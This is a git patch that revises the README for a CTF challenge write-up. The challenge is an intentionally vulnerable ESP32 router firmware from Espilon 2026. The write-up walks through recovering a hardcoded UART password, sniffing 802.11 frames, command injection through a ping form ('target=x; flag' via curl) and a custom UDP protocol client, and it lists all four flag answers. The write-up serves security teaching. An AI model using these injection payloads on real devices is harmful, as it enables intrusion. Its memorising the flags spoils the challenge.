From cf7da4e7ecbefe12ee8d9a82ff9a1da64d33eabd Mon Sep 17 00:00:00 2001 From: Eun0us Date: Thu, 26 Mar 2026 17:33:18 +0000 Subject: [PATCH] write-up: ESP/Jnouner_Router/README.md --- ESP/Jnouner_Router/README.md | 149 ++++++++++++++++++++++++----------- 1 file changed, 105 insertions(+), 44 deletions(-) diff --git a/ESP/Jnouner_Router/README.md b/ESP/Jnouner_Router/README.md index bc52ee4..37793cb 100644 --- a/ESP/Jnouner_Router/README.md +++ b/ESP/Jnouner_Router/README.md @@ -1,17 +1,64 @@ -# Jnouner Router — Solution +# Jnouned Router -**Category:** ESP | **Type:** Multi-part (4 flags) +| Field | Value | +|-------|-------| +| Category | ESP | +| Difficulty | Multi-part (Easy to Hard) | +| Points | 100 / 200 / 300 / 400 (4 flags) | +| Author | Eun0us | +| CTF | Espilon 2026 | -| Flag | Name | Points | Flag value | -|------|-----------------|--------|-----------------------------------| -| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` | -| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` | -| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` | -| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` | +--- -## Setup +## Description -Flash the firmware on an ESP32: +The CERT-CORP intercepted a strange firmware from an unknown router model built by the +shady *JNouner Company*. + +Analysts found it targets an **ESP32-based prototype**, but the system is protected by a +locked **UART console**. + +Flash the firmware, break into the system, and work your way through every layer of this device. + +Format: **ESPILON{flag}** + +--- + +## TL;DR + +Four-part progressive challenge on an ESP32 router firmware. Break the UART password, sniff +802.11 frames in monitor mode, exploit a command-injection in the web admin panel, then reverse +a custom UDP protocol (JMP) to exfiltrate the final flag. + +--- + +## Tools + +| Tool | Purpose | +|------|---------| +| `esptool.py` | Flash firmware | +| `screen` / `minicom` | UART console access | +| `airmon-ng` / `tcpdump` | 802.11 monitor mode capture | +| `curl` | Web admin POST injection | +| Python 3 + `socket` + `struct` + `hashlib` | JMP protocol client | +| `strings` / Ghidra | Firmware static analysis | + +--- + +## Flags Summary + +| Flag | Name | Points | Value | +|------|------|--------|-------| +| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` | +| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` | +| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` | +| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` | + +--- + +## Solution + +### Setup — Flash the firmware ```bash esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \ @@ -26,13 +73,16 @@ Open the UART console: screen /dev/ttyUSB0 115200 ``` +> 📸 `[screenshot: UART console showing jnoun-console> prompt]` + --- -## Flag 1 — Console Access +### Flag 1 — Console Access (100 pts) -The UART console shows a `jnoun-console>` prompt. The password is hardcoded in -the firmware as three concatenated parts. Read the ELF strings or reverse -`build_admin_password()` in `admin.c`: +The UART console presents a `jnoun-console>` prompt requiring a password. + +Inspect `admin.c` in the firmware source (or run `strings` on the ELF) to find +`build_admin_password()`. The password is assembled from three parts: ``` p1 = "jnoun-" @@ -47,25 +97,30 @@ admin_login jnoun-admin-2022 Flag 1 is printed on success. +> 📸 `[screenshot: successful admin_login command printing Flag 1]` + --- -## Flag 2 — 802.11 TX +### Flag 2 — 802.11 TX (200 pts) -From the admin console, trigger 802.11 frame emission: +From the admin console, read device settings: ```text -settings ← reveals WiFi SSID/PSK (XOR-obfuscated in firmware) -start_emitting ← starts sending raw 802.11 data frames for 90 seconds +settings ``` -WiFi credentials recovered from firmware (`wifi.c`, XOR key `0x37`): +The output reveals WiFi credentials (XOR-obfuscated with key `0x37` in `wifi.c`): - **SSID**: `Jnoun-3E4C` - **PSK**: `LAIN_H4v3_Ajnoun` -Put a WiFi card into **monitor mode** and capture the 802.11 frames while the -flooder runs. Among random noise frames, one frame (emitted at a random time -between 5 and 85 seconds) contains flag 2 in its payload: +Trigger the 802.11 data-frame flood for 90 seconds: + +```text +start_emitting +``` + +Put your WiFi adapter into monitor mode on the same channel and capture frames: ```bash airmon-ng start wlan0 @@ -74,48 +129,47 @@ tcpdump -i wlan0mon -w capture.pcap tshark -i wlan0mon -w capture.pcap ``` -Filter for non-noise frames (payload not all-random). Flag 2 appears as cleartext -in the 802.11 data frame payload. +Among the random noise frames, one frame emitted at a random time (5–85 seconds) +contains Flag 2 as cleartext in its 802.11 data payload. + +> 📸 `[screenshot: Wireshark frame showing Flag 2 in the payload field]` --- -## Flag 3 — Admin Panel +### Flag 3 — Admin Panel (300 pts) -Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router runs an +Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router hosts an HTTP server at `http://192.168.4.1`. -Login with default credentials: `admin` / `admin`. +Log in: `admin` / `admin`. -The `/admin` page contains a "ping" form that posts to `/api/ping`. The admin -page hints: *"Parser séparateur ';'"* — the internal shell splits on `;`. +The `/admin` page has a "ping" form posting to `/api/ping`. A hint on the page reads: +*"Parser séparateur ';'"* — the internal shell splits commands on `;`. Inject via the `target` field: -```text -POST /api/ping -target=192.168.1.1; flag -``` - -Flag 3 is printed to the UART console (`ESP_LOGE` output). - -Or URL-encoded via curl: - ```bash curl -b "auth=1" -X POST http://192.168.4.1/api/ping \ -d "target=x%3B+flag" ``` +Decoded: `target=x; flag` + +Flag 3 prints to the UART console via `ESP_LOGE`. + +> 📸 `[screenshot: UART console showing Flag 3 output after injection]` + --- -## Flag 4 — JMP Protocol +### Flag 4 — JMP Protocol (400 pts) -From the admin panel, trigger the exfiltration session: +Trigger the exfiltration session via the web injection: ```text target=x; start_session ``` -The UART console shows: +The UART console leaks: ```text JMP Server listening on UDP:6999 @@ -126,7 +180,7 @@ PROTOCOL INITIALIZATION LEAK: ``` The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash, -then request data blocks: +then request all data blocks: ```python import socket, struct, hashlib @@ -168,6 +222,13 @@ for block_id in range(10): print(flag.decode()) ``` -## Author +> 📸 `[screenshot: Python JMP client printing the final flag after block reassembly]` -Eun0us +--- + +## Flag + +- Flag 1: `ESPILON{Jn0un3d_4dM1N}` +- Flag 2: `ESPILON{802_11_tx_jnned}` +- Flag 3: `ESPILON{Adm1n_4r3_jn0uned}` +- Flag 4: `ESPILON{Jn0un3d_UDP_Pr0t0c0l}`